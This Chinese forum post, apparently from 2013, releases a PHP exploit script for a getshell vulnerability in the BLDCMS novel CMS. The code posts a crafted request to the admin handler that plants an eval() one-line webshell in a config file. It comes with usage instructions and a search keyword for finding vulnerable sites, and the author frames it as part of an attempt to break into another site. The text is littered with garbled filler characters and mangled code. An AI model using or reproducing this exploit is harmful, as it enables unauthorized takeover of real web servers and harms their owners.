BLDCMS(白老大小说) Getshell 0day EXP

admin

之前想搞一个黑阔站 发现旁站有一个站用了BLDCMS 我就下载看了.. 找到了一个getshell漏洞
( W% L$ |/ b; Y, v* q

话说昨晚晴天小铸在90sec发现有人把这getshell漏洞的分析发出来了 擦 居然被人先发了
/ d. O2 Z% C0 ?; V1 D# ?
既然都有人发了 我就把我之前写好的EXP放出来吧

7 U- j/ o+ ~" o, a. L8 u2 H. t7 Kview source print?01.php;">
' \) r$ n1 J/ v02.<!--?php
03.echo "-------------------------------------------------------------------
04.
% |3 ]$ G4 S) C9 G6 S05.------------\r\n              BLDCMS(白老大php小说小偷) GETSHELL 0DAY EXP
- g3 K9 x! b+ m' J0 W$ E6 B" s06.
07.(GPC=Off)\r\n            Vulnerability discovery&Code by 数据流@wooyun
08.
09.QQ:981009941\r\n                                2013.3.21\r\n            
% C  J: B$ o- f" H) z6 `10.
/ H# j# S$ Q8 g8 f% k11.
: z  r7 T/ y# Y# F5 ]12.用法:php.exe EXP.php www.baidu.com /cms/ pass(一句话密码
13.
1 c# b6 ~( _: y: g7 }2 H0 A14.)\r\n                    搜索关键字:\"开发者: 白老大小说\"\r\n-----------
5 G5 k- N2 L+ y: `* s1 I3 N) ~15.
16.--------------------------------------------------------------------\r\n";
& a, K, ]0 @. g( e  [% O0 x17.$url=$argv[1];
18.$dir=$argv[2];
8 f+ a; N$ K) m4 I+ X19.$pass=$argv[3];
' @9 l4 Q+ r# U( G20.$eval='\';eval($_POST['.'"'.$pass.'"'.']);\'';
0 ~! ^# o7 {( [5 N0 k21.if (emptyempty($pass)||emptyempty($url))
& N6 _3 k2 Y' b) P/ N) Z: x22.{exit("请输入参数");}
23.else
24.{
" i3 K& `* `0 D6 x25.$fuckdata='sitename=a&qq=1&getcontent=acurl&tongji=a&cmsmd5=1&sqlite='.$ev
26.
27.al;
28.$length = strlen($fuckdata);
29.function getshell($url,$pass)
: ]! d/ A; g6 |/ q30.{
  R0 m2 w; K# X% u; Q5 d31.global $url,$dir,$pass,$eval,$length,$fuckdata;
32.$header = "OST /admin/chuli.php?action=a_1 HTTP/1.1\r\n";
33.$header .= "Content-Type: application/x-www-form-urlencoded\r\n";
34.$header .= "User-Agent: MSIE\r\n";
35.$header .= "Host:".$url."\r\n";
36.$header .= "Content-Length: ".$length."\r\n";
37.$header .= "Connection: Close\r\n";
38.$header .="\r\n";
( U) U  J) O9 S, @% j6 w. a39.$header .= $fuckdata."\r\n\r\n";
4 d* \$ H/ z: i, g9 b2 ]5 o2 |40.$fp = fsockopen($url, 80,$errno,$errstr,15);
41.if (!$fp)
42.{
  ]& r2 o6 s6 d- J43.exit ("利用失败:请检查指定目标是否能正常打开");
44.}
45.else{ if (!fputs($fp,$header))
46.{exit ("利用失败");}
47.else
48.{
; T9 `% W( f6 G# m, ~9 l3 s3 x49.$receive = '';
50.while (!feof($fp)) {
51.$receive .= @fgets($fp, 1000);
52.}
53.@fclose($fp);
4 `+ E" \( H  e54.echo "$url/$dir/conn/config/normal2.php passpass(如连接失败 请检查目标
% N5 {0 D- g# u% n2 O55.
: C# S0 p  a/ k/ }& Z$ O( d4 r8 K6 K56.GPC是否=off)";
+ i# R' \. h9 |6 o7 p/ n57.}}
8 L* S8 q  E4 s" A) ^) w58.}
59.}
' T1 H' ^# F0 g, q- }60.getshell($url,$pass);
61.?-->
: H8 M7 e& Q& |0 R
" }. C: h0 s6 s
" H8 }% U9 q* b- U
  ]2 g6 ]. q" c, l* U1 Hby 数据流
+ I9 M( _. T! ~